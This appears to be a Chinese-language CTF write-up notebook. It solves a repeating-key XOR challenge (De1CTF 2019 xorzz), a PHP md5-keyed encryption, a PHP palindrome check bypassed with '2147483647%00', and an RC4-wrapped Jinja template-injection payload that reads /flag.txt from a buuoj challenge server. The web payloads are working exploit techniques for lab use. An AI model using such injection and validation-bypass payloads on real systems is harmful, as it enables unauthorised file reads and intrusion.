记录密码学刷过的题目
De1ctf2019 xorzz
源码
from itertools import *
# from data import flag,plain
plain = "dd"
flag = "de1ctf{testflag}"
key=flag.strip("de1ctf{").strip("}")
assert(len(key)<38)
salt="WeAreDe1taTeam"
ki=cycle(key)
si=cycle(salt)
cipher = ''.join([hex(ord(p) ^ ord(next(ki)) ^ ord(next(si))) for p in plain])
print cipher
# output:
# 49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c
首先将密文中的盐分去掉。
from itertools import *
from base64 import *
output='49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c'
salt="WeAreDe1taTeam"
sa = cycle(salt)
out = output.decode('hex')
res = ""
for i in out:
res += chr(ord(i) ^ ord(next(sa)))
# print b64encode(res.encode('hex'))
print b64encode(res)
去掉盐分之后，问题就变成了汉明文密码。原理见博客https://www.anquanke.com/post/id/161171#h2-0 这里直接上脚本了。
# -*- coding: utf-8 -*-
import itertools
import linecache
CHARACTER_FREQ = {
'a': 0.0651738, 'b': 0.0124248, 'c': 0.0217339, 'd': 0.0349835, 'e': 0.1041442, 'f': 0.0197881, 'g': 0.0158610,
'h': 0.0492888, 'i': 0.0558094, 'j': 0.0009033, 'k': 0.0050529, 'l': 0.0331490, 'm': 0.0202124, 'n': 0.0564513,
'o': 0.0596302, 'p': 0.0137645, 'q': 0.0008606, 'r': 0.0497563, 's': 0.0515760, 't': 0.0729357, 'u': 0.0225134,
'v': 0.0082903, 'w': 0.0171272, 'x': 0.0013692, 'y': 0.0145984, 'z': 0.0007836, ' ': 0.1918182
}
def xor_repeat_key(key,string):
key_len=len(key)
result=''
str_result=''
for index,ch in enumerate(string):
n=index%key_len
b=chr(ord(key[n])^ord(ch))
str_result+=b
return str_result
#获得概率分数
def get_score(string):
score=0
for char in string:
char=char.lower()
if char in CHARACTER_FREQ:
score+=CHARACTER_FREQ[char]
return score
#将hex的每个字符与备选密钥进行xor
def single_xor(candidate_key,hex_string):
result=""
for i in hex_string:
b=chr(candidate_key^ord(i))
result+=b
return result
#遍历备选密钥
def Traversal_singlechar(hex_string):
candidate=[]
for candidate_key in range(256):
plaintext=single_xor(candidate_key,hex_string)
score=get_score(plaintext)
result={
'score':score,
'plaintext':plaintext,
'key':candidate_key
}
candidate.append(result)
return sorted(candidate,key=lambda c:c['score'])[-1]
def hamming_distance(a_str,b_str):
dist=0
for x,y in zip(a_str,b_str):
b=bin(ord(x)^ord(y)) #转换为二进制（以字符串形式表示，如“0b100000”，0b表示二进制）
dist+=b.count('1')
return dist
def guess_keysize(string):
normals=[]
for keysize in range(2,40):
blocks=[]
cnt=0
distance=0
#根据建议获得四个block，将这四个block两两得到hamming_distance。
for i in range(0,len(string),keysize):
cnt+=1
blocks.append(string[i:i+keysize])
if cnt==4:
break
pairs=itertools.combinations(blocks,2)
for (x,y) in pairs:
distance+=hamming_distance(x,y)
#平均一下
distance=distance/(6.0)
#Normalize this result by dividing by KEYSIZE.
normal_distance=distance/keysize
key={
'keysize':keysize,
'distance':normal_distance
}
normals.append(key)
#print key
#选3个最小的为待选的keysize
candidate_keysize=sorted(normals,key=lambda c:c['distance'])[0:3]
return candidate_keysize
def guess_key(keysize,string):
now_str=''
key=''
for i in range(keysize):
now_str=''
for index,ch in enumerate(string):
if index%keysize==i:
now_str+=ch
#获得key的第i位的值,转换为字符
#print now_str
key+=chr(Traversal_singlechar(now_str)['key'])
return key
def get_plaint(string):
keysize_list=guess_keysize(string)
candidate_key=[]
possible_plaints=[]
for keysize in keysize_list:
key=guess_key(keysize['keysize'],string)
#print key
possible_plaints.append((xor_repeat_key(key,string),key))
'''
for i in possible_plaints:
print i[1]
print get_score(i[0].decode('hex'))
print len(i[0])
print i[0].decode('hex')
'''
return sorted(possible_plaints,key=lambda c:get_score(c[0]))[-1]
def main():
assert hamming_distance('this is a test', 'wokka wokka!!!') == 37
contents=open('6.txt').read()
#base64解码
string=str(contents).decode('base64')
result=get_plaint(string)
print result[0]
print result[1]
if __name__ == '__main__':
main()
6.txt中的内容是去盐分之后的密文base64之后的内容。
再附上hctf2018中天枢的脚本
import string
def bxor(a, b): # xor two byte strings of different lengths
if len(a) > len(b):
return bytes([x ^ y for x, y in zip(a[:len(b)], b)])
else:
return bytes([x ^ y for x, y in zip(a, b[:len(a)])])
def hamming_distance(b1, b2):
differing_bits = 0
for byte in bxor(b1, b2):
differing_bits += bin(byte).count("1")
return differing_bits
def break_single_key_xor(text):
key = 0
possible_space=0
max_possible=0
letters = string.ascii_letters.encode('ascii')
for a in range(0, len(text)):
maxpossible = 0
for b in range(0, len(text)):
if(a == b):
continue
c = text[a] ^ text[b]
if c not in letters and c != 0:
continue
maxpossible += 1
if maxpossible>max_possible:
max_possible=maxpossible
possible_space=a
key = text[possible_space]^ 0x20
return chr(key)
text = ''
with open("6.txt","r") as f:
for line in f:
text += line
# b = base64.b64decode(text)
b = text
normalized_distances = []
for KEYSIZE in range(2, 40):
b1 = b[: KEYSIZE]
b2 = b[KEYSIZE: KEYSIZE * 2]
b3 = b[KEYSIZE * 2: KEYSIZE * 3]
b4 = b[KEYSIZE * 3: KEYSIZE * 4]
b5 = b[KEYSIZE * 4: KEYSIZE * 5]
b6 = b[KEYSIZE * 5: KEYSIZE * 6]
normalized_distance = float(
hamming_distance(b1, b2) +
hamming_distance(b2, b3) +
hamming_distance(b3, b4) +
hamming_distance(b4, b5) +
hamming_distance(b5, b6)
) / (KEYSIZE * 5)
normalized_distances.append(
(KEYSIZE, normalized_distance)
)
normalized_distances = sorted(normalized_distances,key=lambda x:x[1])
for KEYSIZE,_ in normalized_distances[:5]:
block_bytes = [[] for _ in range(KEYSIZE)]
for i, byte in enumerate(b):
block_bytes[i % KEYSIZE].append(byte)
keys = ''
try:
for bbytes in block_bytes:
keys += break_single_key_xor(bbytes)
key = bytearray(keys * len(b), "utf-8")
plaintext = bxor(b, key)
print("keysize:", KEYSIZE)
print("key is:", keys, "n")
s = bytes.decode(plaintext)
print(s)
except Exception:
continue
MD5
PHP_encrypto_1
source code:::
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>//the result is fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
solving:
<?php
#'ISCC'md5之后的结果
$mkey ='729623334f0aa2784a1599fd374c120d';
$target='fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=';
$target=base64_decode($target);
$target_ay=array();
for ($i=0;$i<strlen($target);$i++) {
echo ord($target[$i]).' ';
array_push($target_ay,ord($target[$i]));
}
echo "||||||||";
$j=0;
$realkey_ay=array();
for ($i=0;$i<strlen($target);$i++){
if ($j==strlen($mkey)){
$j=0;
}
echo ord($mkey[$j]).' ';
array_push($realkey_ay,ord($mkey[$j]));
$j++;
}
$flag1='';
$flag2='';
foreach($target_ay as $key=>$value){
$i=$key;
$dd=$value;
$od=$realkey_ay[$i];
$flag1.=chr($dd+128-$od);
$flag2.=chr($dd-$od);
}
echo $flag1;
echo $flag2;
?>
other
shiyanbar do you really know php?(plalindrome)
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxx";
ini_set("display_error", false);
error_reporting(0);
if(!isset($_POST['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");
die("have a fun!!");
}
foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}
function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
//can not input number
if(is_numeric($_REQUEST['number'])){
$info="sorry, you cann't input a number!";
//the number must be int-type
}elseif($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";
}else{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
//the number should be plalindrome
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{
//the number should not be plalindrome
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}
}
echo $info;
?>
payload :2147483647%00
first: as there is %00, is_numeric() will not recognize it as number
second: both strval and intval will ignore %00 and %20
third: after strrev() 2147483647 will turn to 7463847412 , however, intval() can hanle max num of 2147483647, so intval(7463847412)=2147483647
forth: the number is not plalindrome,so get the flag
RC4
rc4: 加密和解密都是同一个流程
import urllib
import requests
url = "http://43141291-ab15-4d3a-a236-3c2c0fd69898.node3.buuoj.cn/secret?secret="
class RC4:
def __init__(self, key):
self.key = key
self.key_length = len(key)
self._init_S_box()
def _init_S_box(self):
self.Box = [i for i in range(256)]
k = [self.key[i % self.key_length] for i in range(256)]
j = 0
for i in range(256):
j = (j + self.Box[i] + ord(k[i])) % 256
self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
def crypt(self, plaintext):
i = 0
j = 0
result = ''
for ch in plaintext:
i = (i + 1) % 256
j = (j + self.Box[i]) % 256
self.Box[i], self.Box[j] = self.Box[j], self.Box[i]
t = (self.Box[i] + self.Box[j]) % 256
result += chr(self.Box[t] ^ ord(ch))
return result
a = RC4('HereIsTreasure')
cmd = "{{ [].__class__.__base__.__subclasses__()[40]('/flag.txt').read() }}"
payload = urllib.parse.quote(a.crypt(cmd))
res = requests.get(url + payload)
print(res.text)